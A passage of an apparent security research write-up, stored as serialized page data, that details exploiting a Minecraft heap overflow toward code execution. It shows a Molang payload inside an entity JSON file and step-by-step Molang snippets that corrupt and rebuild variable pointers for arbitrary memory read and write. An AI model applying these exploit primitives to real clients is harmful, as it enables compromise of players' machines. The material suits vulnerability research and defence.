+-------------+ | \n| | variable.b | | \n| +-------------+ +- MolangVariableMap allocated buffer\n| | . . . | | \n| +-------------+ | \n| | variable.f | | \n| +-------------+ \u003C--+--+ \n| | | | \n| | | | \n| | | | \n| | | | \n| +------+------+ +- Entity Object \n+-----+ buf | len | | \n +------+------+ | \n | cap | | | \n +------+ | | \n +-------------+ \u003C-----+ \n",[153715],{"type":21,"tag":194,"props":153716,"children":153717},{"__ignoreMap":7},[153718],{"type":27,"value":153713},{"type":21,"tag":30,"props":153720,"children":153721},{},[153722,153724,153729,153731,153737,153739,153744,153745,153751,153752,153757,153759,153764,153766,153771,153773,153778,153780,153785,153787,153792,153794,153799,153801,153807,153809,153814,153816,153821],{"type":27,"value":153723},"In the scenario above, the ",{"type":21,"tag":194,"props":153725,"children":153727},{"className":153726},[],[153728],{"type":27,"value":153486},{"type":27,"value":153730}," would map ",{"type":21,"tag":194,"props":153732,"children":153734},{"className":153733},[],[153735],{"type":27,"value":153736},"variable.a",{"type":27,"value":153738}," -> index ",{"type":21,"tag":194,"props":153740,"children":153742},{"className":153741},[],[153743],{"type":27,"value":3482},{"type":27,"value":828},{"type":21,"tag":194,"props":153746,"children":153748},{"className":153747},[],[153749],{"type":27,"value":153750},"variable.b",{"type":27,"value":153738},{"type":21,"tag":194,"props":153753,"children":153755},{"className":153754},[],[153756],{"type":27,"value":134},{"type":27,"value":153758},", and so on. If we overwrite the index for ",{"type":21,"tag":194,"props":153760,"children":153762},{"className":153761},[],[153763],{"type":27,"value":153736},{"type":27,"value":153765}," with a value that is out-of-bounds for the ",{"type":21,"tag":194,"props":153767,"children":153769},{"className":153768},[],[153770],{"type":27,"value":153310},{"type":27,"value":153772},", it can instead index the ",{"type":21,"tag":194,"props":153774,"children":153776},{"className":153775},[],[153777],{"type":27,"value":150506},{"type":27,"value":153779}," field of the entity object above. Reading ",{"type":21,"tag":194,"props":153781,"children":153783},{"className":153782},[],[153784],{"type":27,"value":153736},{"type":27,"value":153786}," will then return the pointer stored at offset ",{"type":21,"tag":194,"props":153788,"children":153790},{"className":153789},[],[153791],{"type":27,"value":153244},{"type":27,"value":153793}," from the start of the ",{"type":21,"tag":194,"props":153795,"children":153797},{"className":153796},[],[153798],{"type":27,"value":153310},{"type":27,"value":153800}," (which in this diagram corresponds to ",{"type":21,"tag":194,"props":153802,"children":153804},{"className":153803},[],[153805],{"type":27,"value":153806},"variable.f",{"type":27,"value":153808},"), and writing to ",{"type":21,"tag":194,"props":153810,"children":153812},{"className":153811},[],[153813],{"type":27,"value":153736},{"type":27,"value":153815}," will overwrite that pointer - corrupting ",{"type":21,"tag":194,"props":153817,"children":153819},{"className":153818},[],[153820],{"type":27,"value":153806},{"type":27,"value":658},{"type":21,"tag":30,"props":153823,"children":153824},{},[153825,153827,153832,153833,153839,153841,153846,153848,153854,153856,153861,153863,153868,153870,153876,153878,153884,153886,153891],{"type":27,"value":153826},"To leak the address of the Minecraft executable we could increment ",{"type":21,"tag":194,"props":153828,"children":153830},{"className":153829},[],[153831],{"type":27,"value":153736},{"type":27,"value":648},{"type":21,"tag":194,"props":153834,"children":153836},{"className":153835},[],[153837],{"type":27,"value":153838},"variable.a += 8",{"type":27,"value":153840},"), which advances the pointer used for ",{"type":21,"tag":194,"props":153842,"children":153844},{"className":153843},[],[153845],{"type":27,"value":153806},{"type":27,"value":153847}," by 8 bytes. The Molang script would repeat this until it finds a vtable pointer in the heap. At that point we can write arbitrary values into writable regions of the Minecraft process by setting ",{"type":21,"tag":194,"props":153849,"children":153851},{"className":153850},[],[153852],{"type":27,"value":153853},"variable.a = variable.exe_leak + \u003Coffset>",{"type":27,"value":153855}," - this updates the ",{"type":21,"tag":194,"props":153857,"children":153859},{"className":153858},[],[153860],{"type":27,"value":153806},{"type":27,"value":153862}," pointer to our chosen address, and writing to ",{"type":21,"tag":194,"props":153864,"children":153866},{"className":153865},[],[153867],{"type":27,"value":153806},{"type":27,"value":153869},", for example ",{"type":21,"tag":194,"props":153871,"children":153873},{"className":153872},[],[153874],{"type":27,"value":153875},"variable.f = 1337",{"type":27,"value":153877},", writes the value ",{"type":21,"tag":194,"props":153879,"children":153881},{"className":153880},[],[153882],{"type":27,"value":153883},"1337",{"type":27,"value":153885}," to offset ",{"type":21,"tag":194,"props":153887,"children":153889},{"className":153888},[],[153890],{"type":27,"value":153244},{"type":27,"value":153892}," from that calculated address.",{"type":21,"tag":162,"props":153894,"children":153896},{"id":153895},"testing-the-idea",[153897],{"type":27,"value":153898},"Testing the Idea",{"type":21,"tag":30,"props":153900,"children":153901},{},[153902,153904,153909,153911,153916,153918,153923],{"type":27,"value":153903},"We tested the idea by manually adding a pointer to the start of ",{"type":21,"tag":194,"props":153905,"children":153907},{"className":153906},[],[153908],{"type":27,"value":153310},{"type":27,"value":153910}," and modifying the index of a variable so that it indexed this out-of-bounds pointer. It ",{"type":21,"tag":1671,"props":153912,"children":153913},{},[153914],{"type":27,"value":153915},"almost",{"type":27,"value":153917}," worked - below is the state of the ",{"type":21,"tag":194,"props":153919,"children":153921},{"className":153920},[],[153922],{"type":27,"value":153310},{"type":27,"value":153924},"'s allocated buffer before the Molang script executes:",{"type":21,"tag":30,"props":153926,"children":153927},{},[153928],{"type":21,"tag":1376,"props":153929,"children":153931},{"alt":50954,"src":153930},"/posts/minecraft-heap-overflow-to-rce/image9.png",[],{"type":21,"tag":30,"props":153933,"children":153934},{},[153935],{"type":27,"value":153936},"And this is after execution:",{"type":21,"tag":30,"props":153938,"children":153939},{},[153940],{"type":21,"tag":1376,"props":153941,"children":153943},{"alt":50954,"src":153942},"/posts/minecraft-heap-overflow-to-rce/image10.png",[],{"type":21,"tag":30,"props":153945,"children":153946},{},[153947],{"type":27,"value":153948},"For reference, this is what the relevant entity json file containing our Molang looks like:",{"type":21,"tag":187,"props":153950,"children":153952},{"code":153951,"language":2119,"meta":7,"className":34775,"style":7},"{\n \"format_version\": \"1.10.0\",\n \"minecraft:client_entity\": {\n \"description\": {\n \"identifier\": \"minecraft:leash_knot\",\n\n [...]\n \n \"scripts\": {\n \"initialize\": [\n \"variable.a = 0;\",\n \"variable.b = 0;\",\n \"variable.c = 0;\",\n [...]\n ],\n \"pre_animation\": [\n \"variable.a = 2.310732e-27;\"\n ]\n },\n }\n }\n}\n",[153953],{"type":21,"tag":194,"props":153954,"children":153955},{"__ignoreMap":7},[153956,153963,153984,153996,154008,154029,154036,154043,154050,154062,154075,154087,154099,154111,154127,154134,154146,154154,154162,154169,154176,154183],{"type":21,"tag":198,"props":153957,"children":153958},{"class":200,"line":201},[153959],{"type":21,"tag":198,"props":153960,"children":153961},{"style":211},[153962],{"type":27,"value":11689},{"type":21,"tag":198,"props":153964,"children":153965},{"class":200,"line":217},[153966,153971,153975,153980],{"type":21,"tag":198,"props":153967,"children":153968},{"style":226},[153969],{"type":27,"value":153970}," \"format_version\"",{"type":21,"tag":198,"props":153972,"children":153973},{"style":211},[153974],{"type":27,"value":16136},{"type":21,"tag":198,"props":153976,"children":153977},{"style":205},[153978],{"type":27,"value":153979},"\"1.10.0\"",{"type":21,"tag":198,"props":153981,"children":153982},{"style":211},[153983],{"type":27,"value":257},{"type":21,"tag":198,"props":153985,"children":153986},{"class":200,"line":236},[153987,153992],{"type":21,"tag":198,"props":153988,"children":153989},{"style":226},[153990],{"type":27,"value":153991}," \"minecraft:client_entity\"",{"type":21,"tag":198,"props":153993,"children":153994},{"style":211},[153995],{"type":27,"value":214},{"type":21,"tag":198,"props":153997,"children":153998},{"class":200,"line":260},[153999,154004],{"type":21,"tag":198,"props":154000,"children":154001},{"style":226},[154002],{"type":27,"value":154003}," \"description\"",{"type":21,"tag":198,"props":154005,"children":154006},{"style":211},[154007],{"type":27,"value":214},{"type":21,"tag":198,"props":154009,"children":154010},{"class":200,"line":281},[154011,154016,154020,154025],{"type":21,"tag":198,"props":154012,"children":154013},{"style":226},[154014],{"type":27,"value":154015}," \"identifier\"",{"type":21,"tag":198,"props":154017,"children":154018},{"style":211},[154019],{"type":27,"value":16136},{"type":21,"tag":198,"props":154021,"children":154022},{"style":205},[154023],{"type":27,"value":154024},"\"minecraft:leash_knot\"",{"type":21,"tag":198,"props":154026,"children":154027},{"style":211},[154028],{"type":27,"value":257},{"type":21,"tag":198,"props":154030,"children":154031},{"class":200,"line":302},[154032],{"type":21,"tag":198,"props":154033,"children":154034},{"emptyLinePlaceholder":16},[154035],{"type":27,"value":1283},{"type":21,"tag":198,"props":154037,"children":154038},{"class":200,"line":323},[154039],{"type":21,"tag":198,"props":154040,"children":154041},{"style":23200},[154042],{"type":27,"value":127823},{"type":21,"tag":198,"props":154044,"children":154045},{"class":200,"line":344},[154046],{"type":21,"tag":198,"props":154047,"children":154048},{"style":211},[154049],{"type":27,"value":153133},{"type":21,"tag":198,"props":154051,"children":154052},{"class":200,"line":365},[154053,154058],{"type":21,"tag":198,"props":154054,"children":154055},{"style":226},[154056],{"type":27,"value":154057}," \"scripts\"",{"type":21,"tag":198,"props":154059,"children":154060},{"style":211},[154061],{"type":27,"value":214},{"type":21,"tag":198,"props":154063,"children":154064},{"class":200,"line":386},[154065,154070],{"type":21,"tag":198,"props":154066,"children":154067},{"style":226},[154068],{"type":27,"value":154069}," \"initialize\"",{"type":21,"tag":198,"props":154071,"children":154072},{"style":211},[154073],{"type":27,"value":154074},": [\n",{"type":21,"tag":198,"props":154076,"children":154077},{"class":200,"line":408},[154078,154083],{"type":21,"tag":198,"props":154079,"children":154080},{"style":205},[154081],{"type":27,"value":154082}," \"variable.a = 0;\"",{"type":21,"tag":198,"props":154084,"children":154085},{"style":211},[154086],{"type":27,"value":257},{"type":21,"tag":198,"props":154088,"children":154089},{"class":200,"line":429},[154090,154095],{"type":21,"tag":198,"props":154091,"children":154092},{"style":205},[154093],{"type":27,"value":154094}," \"variable.b = 0;\"",{"type":21,"tag":198,"props":154096,"children":154097},{"style":211},[154098],{"type":27,"value":257},{"type":21,"tag":198,"props":154100,"children":154101},{"class":200,"line":450},[154102,154107],{"type":21,"tag":198,"props":154103,"children":154104},{"style":205},[154105],{"type":27,"value":154106}," \"variable.c = 0;\"",{"type":21,"tag":198,"props":154108,"children":154109},{"style":211},[154110],{"type":27,"value":257},{"type":21,"tag":198,"props":154112,"children":154113},{"class":200,"line":468},[154114,154119,154123],{"type":21,"tag":198,"props":154115,"children":154116},{"style":211},[154117],{"type":27,"value":154118}," [",{"type":21,"tag":198,"props":154120,"children":154121},{"style":23200},[154122],{"type":27,"value":10402},{"type":21,"tag":198,"props":154124,"children":154125},{"style":211},[154126],{"type":27,"value":12582},{"type":21,"tag":198,"props":154128,"children":154129},{"class":200,"line":477},[154130],{"type":21,"tag":198,"props":154131,"children":154132},{"style":211},[154133],{"type":27,"value":44404},{"type":21,"tag":198,"props":154135,"children":154136},{"class":200,"line":494},[154137,154142],{"type":21,"tag":198,"props":154138,"children":154139},{"style":226},[154140],{"type":27,"value":154141}," \"pre_animation\"",{"type":21,"tag":198,"props":154143,"children":154144},{"style":211},[154145],{"type":27,"value":154074},{"type":21,"tag":198,"props":154147,"children":154148},{"class":200,"line":515},[154149],{"type":21,"tag":198,"props":154150,"children":154151},{"style":205},[154152],{"type":27,"value":154153}," \"variable.a = 2.310732e-27;\"\n",{"type":21,"tag":198,"props":154155,"children":154156},{"class":200,"line":4484},[154157],{"type":21,"tag":198,"props":154158,"children":154159},{"style":211},[154160],{"type":27,"value":154161}," ]\n",{"type":21,"tag":198,"props":154163,"children":154164},{"class":200,"line":4493},[154165],{"type":21,"tag":198,"props":154166,"children":154167},{"style":211},[154168],{"type":27,"value":474},{"type":21,"tag":198,"props":154170,"children":154171},{"class":200,"line":4561},[154172],{"type":21,"tag":198,"props":154173,"children":154174},{"style":211},[154175],{"type":27,"value":880},{"type":21,"tag":198,"props":154177,"children":154178},{"class":200,"line":4569},[154179],{"type":21,"tag":198,"props":154180,"children":154181},{"style":211},[154182],{"type":27,"value":2249},{"type":21,"tag":198,"props":154184,"children":154185},{"class":200,"line":4599},[154186],{"type":21,"tag":198,"props":154187,"children":154188},{"style":211},[154189],{"type":27,"value":1120},{"type":21,"tag":30,"props":154191,"children":154192},{},[154193,154195,154200,154202,154207,154209,154214],{"type":27,"value":154194},"As shown, the pointer of a variable at offset ",{"type":21,"tag":194,"props":154196,"children":154198},{"className":154197},[],[154199],{"type":27,"value":153244},{"type":27,"value":154201}," was modified and the core concept works. During ",{"type":21,"tag":194,"props":154203,"children":154205},{"className":154204},[],[154206],{"type":27,"value":153202},{"type":27,"value":154208}," copy, pointers of some other variables above offset ",{"type":21,"tag":194,"props":154210,"children":154212},{"className":154211},[],[154213],{"type":27,"value":153244},{"type":27,"value":154215}," were removed, but this is fine as we control these variables and can simply not update them during execution. However, we discovered other issues with this approach.",{"type":21,"tag":30,"props":154217,"children":154218},{},[154219],{"type":27,"value":154220},"As mentioned earlier, the only number type in Molang is a 32-bit float, which causes two major problems:",{"type":21,"tag":138,"props":154222,"children":154223},{},[154224,154237],{"type":21,"tag":75,"props":154225,"children":154226},{},[154227,154229,154235],{"type":27,"value":154228},"The pointer increment is inconsistent because of ASLR. If the lower 32 bits of the address are larger than ",{"type":21,"tag":194,"props":154230,"children":154232},{"className":154231},[],[154233],{"type":27,"value":154234},"FLT_MAX",{"type":27,"value":154236},", the value becomes an invalid float causing the increment operation to fail.",{"type":21,"tag":75,"props":154238,"children":154239},{},[154240,154242,154247,154249,154254,154255,154260,154262,154267],{"type":27,"value":154241},"As noted before, during assignment, ",{"type":21,"tag":194,"props":154243,"children":154245},{"className":154244},[],[154246],{"type":27,"value":153202},{"type":27,"value":154248}," fields are copied, and the ",{"type":21,"tag":194,"props":154250,"children":154252},{"className":154251},[],[154253],{"type":27,"value":39910},{"type":27,"value":153292},{"type":21,"tag":194,"props":154256,"children":154258},{"className":154257},[],[154259],{"type":27,"value":56011},{"type":27,"value":154261},". Since our source ",{"type":21,"tag":194,"props":154263,"children":154265},{"className":154264},[],[154266],{"type":27,"value":153202},{"type":27,"value":154268}," (calculation rvalue) only has the lower 32 bits populated (due to the 32-bit float type), the upper 32 bits of the destination address are always erased.",{"type":21,"tag":30,"props":154270,"children":154271},{},[154272],{"type":27,"value":154273},"Because of these issues, this idea alone wouldn’t work. We needed to either adjust our approach or come up with an entirely new one.",{"type":21,"tag":162,"props":154275,"children":154277},{"id":154276},"expanding-the-idea",[154278],{"type":27,"value":154279},"Expanding the Idea",{"type":21,"tag":30,"props":154281,"children":154282},{},[154283,154285,154290,154292,154297,154298,154303,154305,154310],{"type":27,"value":154284},"As mentioned earlier, the ",{"type":21,"tag":194,"props":154286,"children":154288},{"className":154287},[],[154289],{"type":27,"value":33535},{"type":27,"value":154291}," field of ",{"type":21,"tag":194,"props":154293,"children":154295},{"className":154294},[],[154296],{"type":27,"value":153202},{"type":27,"value":16248},{"type":21,"tag":194,"props":154299,"children":154301},{"className":154300},[],[154302],{"type":27,"value":58310},{"type":27,"value":154304},". During assignment, the upper 32 bits are not touched and therefore remain uninitialized. This can be observed in the debugger screenshot above - the 32 bits directly below the ",{"type":21,"tag":194,"props":154306,"children":154308},{"className":154307},[],[154309],{"type":27,"value":39910},{"type":27,"value":154311}," field remain unchanged before and after Molang execution.",{"type":21,"tag":30,"props":154313,"children":154314},{},[154315,154317,154322],{"type":27,"value":154316},"Because of this, we thought that we could corrupt two variables instead of just one. The plan was to modify the lower 32 bits of a variable pointer using one corrupted variable, and then restore the upper 32 bits with another corrupted variable pointing to the ",{"type":21,"tag":194,"props":154318,"children":154320},{"className":154319},[],[154321],{"type":27,"value":153310},{"type":27,"value":154323},"’s allocated buffer + 4.",{"type":21,"tag":30,"props":154325,"children":154326},{},[154327,154329,154334,154336,154341,154343,154348,154349,154355],{"type":27,"value":154328},"In the example below, ",{"type":21,"tag":194,"props":154330,"children":154332},{"className":154331},[],[154333],{"type":27,"value":153736},{"type":27,"value":154335}," points to ",{"type":21,"tag":194,"props":154337,"children":154339},{"className":154338},[],[154340],{"type":27,"value":153310},{"type":27,"value":154342},", while ",{"type":21,"tag":194,"props":154344,"children":154346},{"className":154345},[],[154347],{"type":27,"value":153750},{"type":27,"value":154335},{"type":21,"tag":194,"props":154350,"children":154352},{"className":154351},[],[154353],{"type":27,"value":154354},"MolangVariableMap + 4",{"type":27,"value":185},{"type":21,"tag":187,"props":154357,"children":154359},{"code":154358}," variable.f pointer \n | \n +-------------+-------------+\n v v\n \n +-------------+-------------+\n | a0 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-------------------+ \n+-------------+ \n| . . . | \n",[154360],{"type":21,"tag":194,"props":154361,"children":154362},{"__ignoreMap":7},[154363],{"type":27,"value":154358},{"type":21,"tag":30,"props":154365,"children":154366},{},[154367,154369,154374,154375,154380,154382,154387,154389,154394,154396,154401],{"type":27,"value":154368},"Here, the ",{"type":21,"tag":194,"props":154370,"children":154372},{"className":154371},[],[154373],{"type":27,"value":39910},{"type":27,"value":154291},{"type":21,"tag":194,"props":154376,"children":154378},{"className":154377},[],[154379],{"type":27,"value":153736},{"type":27,"value":154381}," starts at the lower 32 bits of the ",{"type":21,"tag":194,"props":154383,"children":154385},{"className":154384},[],[154386],{"type":27,"value":153806},{"type":27,"value":154388}," pointer, while ",{"type":21,"tag":194,"props":154390,"children":154392},{"className":154391},[],[154393],{"type":27,"value":153750},{"type":27,"value":154395}," starts at the upper 32 bits. This means we can store the upper 32 bits of the ",{"type":21,"tag":194,"props":154397,"children":154399},{"className":154398},[],[154400],{"type":27,"value":153806},{"type":27,"value":154402}," pointer in a separate variable:",{"type":21,"tag":187,"props":154404,"children":154406},{"code":154405},"variable.saved_upper_32 = variable.b;\n",[154407],{"type":21,"tag":194,"props":154408,"children":154409},{"__ignoreMap":7},[154410],{"type":27,"value":154405},{"type":21,"tag":30,"props":154412,"children":154413},{},[154414],{"type":27,"value":154415},"Then we can modify the lower 32 bits of the pointer:",{"type":21,"tag":187,"props":154417,"children":154419},{"code":154418},"variable.a = variable.a + itof(0x8);\n",[154420],{"type":21,"tag":194,"props":154421,"children":154422},{"__ignoreMap":7},[154423],{"type":27,"value":154418},{"type":21,"tag":30,"props":154425,"children":154426},{},[154427],{"type":27,"value":154428},"After this operation, the upper 32 bits are cleared while the lower bits are adjusted:",{"type":21,"tag":187,"props":154430,"children":154432},{"code":154431}," +-------------+-------------+\n | a8 bb cc dd | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-------------------+ \n+-------------+ \n| . . . | \n",[154433],{"type":21,"tag":194,"props":154434,"children":154435},{"__ignoreMap":7},[154436],{"type":27,"value":154431},{"type":21,"tag":30,"props":154438,"children":154439},{},[154440,154442,154447],{"type":27,"value":154441},"Since the 32 bits directly below the ",{"type":21,"tag":194,"props":154443,"children":154445},{"className":154444},[],[154446],{"type":27,"value":39910},{"type":27,"value":154448}," field remain untouched during assignment, we can simply restore the upper bits:",{"type":21,"tag":187,"props":154450,"children":154452},{"code":154451},"variable.b = variable.saved_upper_32;\n",[154453],{"type":21,"tag":194,"props":154454,"children":154455},{"__ignoreMap":7},[154456],{"type":27,"value":154451},{"type":21,"tag":30,"props":154458,"children":154459},{},[154460,154462,154467],{"type":27,"value":154461},"Now ",{"type":21,"tag":194,"props":154463,"children":154465},{"className":154464},[],[154466],{"type":27,"value":153806},{"type":27,"value":154468}," pointer is restored and we've incremented it by 8, achieving the desired state:",{"type":21,"tag":187,"props":154470,"children":154472},{"code":154471}," +-------------+-------------+\n | a8 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-------------------+ \n+-------------+ \n| . . . | \n",[154473],{"type":21,"tag":194,"props":154474,"children":154475},{"__ignoreMap":7},[154476],{"type":27,"value":154471},{"type":21,"tag":30,"props":154478,"children":154479},{},[154480,154482,154487],{"type":27,"value":154481},"This bypasses the issue of the upper 32 bits being cleared, but raises another question: how do we find a pointer to ",{"type":21,"tag":194,"props":154483,"children":154485},{"className":154484},[],[154486],{"type":27,"value":154354},{"type":27,"value":154488}," on the heap?",{"type":21,"tag":30,"props":154490,"children":154491},{},[154492,154494,154499,154501,154507],{"type":27,"value":154493},"Additionally, adding 8 to ",{"type":21,"tag":194,"props":154495,"children":154497},{"className":154496},[],[154498],{"type":27,"value":153736},{"type":27,"value":154500}," in the example above wouldn’t work because ",{"type":21,"tag":194,"props":154502,"children":154504},{"className":154503},[],[154505],{"type":27,"value":154506},"0xddccbba0",{"type":27,"value":154508}," is not a valid float. So the first issue still remains unresolved.",{"type":21,"tag":162,"props":154510,"children":154512},{"id":154511},"the-final-approach",[154513],{"type":27,"value":154514},"The Final Approach",{"type":21,"tag":30,"props":154516,"children":154517},{},[154518,154520,154525,154527,154533],{"type":27,"value":154519},"We realized that instead of having the second pointer at ",{"type":21,"tag":194,"props":154521,"children":154523},{"className":154522},[],[154524],{"type":27,"value":154354},{"type":27,"value":154526},", we could instead have it at ",{"type":21,"tag":194,"props":154528,"children":154530},{"className":154529},[],[154531],{"type":27,"value":154532},"MolangVariableMap + 2",{"type":27,"value":154534},", which would resolve both of our issues.",{"type":21,"tag":30,"props":154536,"children":154537},{},[154538,154540,154545,154546,154551],{"type":27,"value":154539},"Let’s revisit the previous example, but this time ",{"type":21,"tag":194,"props":154541,"children":154543},{"className":154542},[],[154544],{"type":27,"value":153750},{"type":27,"value":154335},{"type":21,"tag":194,"props":154547,"children":154549},{"className":154548},[],[154550],{"type":27,"value":154532},{"type":27,"value":185},{"type":21,"tag":187,"props":154553,"children":154555},{"code":154554}," +-------------+-------------+\n | a0 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[154556],{"type":21,"tag":194,"props":154557,"children":154558},{"__ignoreMap":7},[154559],{"type":27,"value":154554},{"type":21,"tag":30,"props":154561,"children":154562},{},[154563,154565,154570],{"type":27,"value":154564},"With this setup, we can calculate any address relative to ",{"type":21,"tag":194,"props":154566,"children":154568},{"className":154567},[],[154569],{"type":27,"value":153806},{"type":27,"value":154571}," by first saving the upper 48 bits of the address:",{"type":21,"tag":187,"props":154573,"children":154575},{"code":154574},"variable.saved_upper_48 = variable.b;\n",[154576],{"type":21,"tag":194,"props":154577,"children":154578},{"__ignoreMap":7},[154579],{"type":27,"value":154574},{"type":21,"tag":30,"props":154581,"children":154582},{},[154583,154584,154590,154592,154598],{"type":27,"value":130212},{"type":21,"tag":194,"props":154585,"children":154587},{"className":154586},[],[154588],{"type":27,"value":154589},"variable.saved_upper_48",{"type":27,"value":154591}," holds the value ",{"type":21,"tag":194,"props":154593,"children":154595},{"className":154594},[],[154596],{"type":27,"value":154597},"0x1c80ddcc",{"type":27,"value":658},{"type":21,"tag":30,"props":154600,"children":154601},{},[154602],{"type":27,"value":154603},"To fix our earlier problem of being unable to increment invalid float values, we can simply clear the upper 48 bits:",{"type":21,"tag":187,"props":154605,"children":154607},{"code":154606},"variable.b = 0;\n",[154608],{"type":21,"tag":194,"props":154609,"children":154610},{"__ignoreMap":7},[154611],{"type":27,"value":154606},{"type":21,"tag":30,"props":154613,"children":154614},{},[154615],{"type":27,"value":154616},"Resulting in the following state:",{"type":21,"tag":187,"props":154618,"children":154620},{"code":154619}," +-------------+-------------+\n | a0 bb 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[154621],{"type":21,"tag":194,"props":154622,"children":154623},{"__ignoreMap":7},[154624],{"type":27,"value":154619},{"type":21,"tag":30,"props":154626,"children":154627},{},[154628,154630,154635,154637,154643,154645,154650],{"type":27,"value":154629},"Now, the value of ",{"type":21,"tag":194,"props":154631,"children":154633},{"className":154632},[],[154634],{"type":27,"value":153736},{"type":27,"value":154636}," only spans 16 bits (",{"type":21,"tag":194,"props":154638,"children":154640},{"className":154639},[],[154641],{"type":27,"value":154642},"0xbba0",{"type":27,"value":154644}," specifically), which is always a valid float since it’s far below ",{"type":21,"tag":194,"props":154646,"children":154648},{"className":154647},[],[154649],{"type":27,"value":154234},{"type":27,"value":658},{"type":21,"tag":30,"props":154652,"children":154653},{},[154654,154656,154661],{"type":27,"value":154655},"We can now safely adjust the lower 16 bits of the pointer by incrementing ",{"type":21,"tag":194,"props":154657,"children":154659},{"className":154658},[],[154660],{"type":27,"value":153736},{"type":27,"value":185},{"type":21,"tag":187,"props":154663,"children":154664},{"code":154418},[154665],{"type":21,"tag":194,"props":154666,"children":154667},{"__ignoreMap":7},[154668],{"type":27,"value":154418},{"type":21,"tag":30,"props":154670,"children":154671},{},[154672],{"type":27,"value":154673},"Which results in:",{"type":21,"tag":187,"props":154675,"children":154677},{"code":154676}," +-------------+-------------+\n | a8 bb 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[154678],{"type":21,"tag":194,"props":154679,"children":154680},{"__ignoreMap":7},[154681],{"type":27,"value":154676},{"type":21,"tag":30,"props":154683,"children":154684},{},[154685],{"type":27,"value":154686},"If we only wanted to increment the pointer by 8, we could finish by restoring the upper 48 bits:",{"type":21,"tag":187,"props":154688,"children":154690},{"code":154689},"variable.b = variable.saved_upper_48;\n",[154691],{"type":21,"tag":194,"props":154692,"children":154693},{"__ignoreMap":7},[154694],{"type":27,"value":154689},{"type":21,"tag":30,"props":154696,"children":154697},{},[154698],{"type":27,"value":154699},"Yielding a valid pointer again:",{"type":21,"tag":187,"props":154701,"children":154703},{"code":154702}," +-------------+-------------+\n | a8 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[154704],{"type":21,"tag":194,"props":154705,"children":154706},{"__ignoreMap":7},[154707],{"type":27,"value":154702},{"type":21,"tag":30,"props":154709,"children":154710},{},[154711],{"type":27,"value":154712},"However, if we wanted to increment the pointer by a value larger than 16 bits can represent, we would continue by first saving the adjusted lower 16 bits:",{"type":21,"tag":187,"props":154714,"children":154716},{"code":154715},"variable.saved_adjusted_lower_16 = variable.a;\n",[154717],{"type":21,"tag":194,"props":154718,"children":154719},{"__ignoreMap":7},[154720],{"type":27,"value":154715},{"type":21,"tag":30,"props":154722,"children":154723},{},[154724],{"type":27,"value":154725},"Next, we need to extract the middle and upper 16 bits of the address. We start by restoring the previously saved upper 48 bits:",{"type":21,"tag":187,"props":154727,"children":154729},{"code":154728},"variable.a = variable.saved_upper_48;\n",[154730],{"type":21,"tag":194,"props":154731,"children":154732},{"__ignoreMap":7},[154733],{"type":27,"value":154728},{"type":21,"tag":30,"props":154735,"children":154736},{},[154737],{"type":27,"value":154738},"This produces the following state:",{"type":21,"tag":187,"props":154740,"children":154742},{"code":154741}," +-------------+-------------+\n | cc dd 80 1c | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[154743],{"type":21,"tag":194,"props":154744,"children":154745},{"__ignoreMap":7},[154746],{"type":27,"value":154741},{"type":21,"tag":30,"props":154748,"children":154749},{},[154750,154752,154757,154759,154765,154767,154773,154775,154780,154782,154787],{"type":27,"value":154751},"As shown, ",{"type":21,"tag":194,"props":154753,"children":154755},{"className":154754},[],[154756],{"type":27,"value":153750},{"type":27,"value":154758}," now contains the upper 16 bits of the address (",{"type":21,"tag":194,"props":154760,"children":154762},{"className":154761},[],[154763],{"type":27,"value":154764},"0x1c80",{"type":27,"value":154766},"), which we can store as ",{"type":21,"tag":194,"props":154768,"children":154770},{"className":154769},[],[154771],{"type":27,"value":154772},"variable.saved_upper_16 = variable.b",{"type":27,"value":154774},". Meanwhile, ",{"type":21,"tag":194,"props":154776,"children":154778},{"className":154777},[],[154779],{"type":27,"value":153736},{"type":27,"value":154781}," contains both the middle and upper 16 bits. To isolate the middle bits, we simply clear ",{"type":21,"tag":194,"props":154783,"children":154785},{"className":154784},[],[154786],{"type":27,"value":153750},{"type":27,"value":185},{"type":21,"tag":187,"props":154789,"children":154790},{"code":154606},[154791],{"type":21,"tag":194,"props":154792,"children":154793},{"__ignoreMap":7},[154794],{"type":27,"value":154606},{"type":21,"tag":30,"props":154796,"children":154797},{},[154798],{"type":27,"value":154799},"Leaving us with:",{"type":21,"tag":187,"props":154801,"children":154803},{"code":154802}," +-------------+-------------+\n | cc dd 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[154804],{"type":21,"tag":194,"props":154805,"children":154806},{"__ignoreMap":7},[154807],{"type":27,"value":154802},{"type":21,"tag":30,"props":154809,"children":154810},{},[154811],{"type":27,"value":154812},"We can now save the middle 16 bits:",{"type":21,"tag":187,"props":154814,"children":154816},{"code":154815},"variable.saved_middle_16 = variable.a;\n",[154817],{"type":21,"tag":194,"props":154818,"children":154819},{"__ignoreMap":7},[154820],{"type":27,"value":154815},{"type":21,"tag":30,"props":154822,"children":154823},{},[154824],{"type":27,"value":154825},"At this point, we have:",{"type":21,"tag":187,"props":154827,"children":154829},{"code":154828},"variable.saved_adjusted_lower_16 = 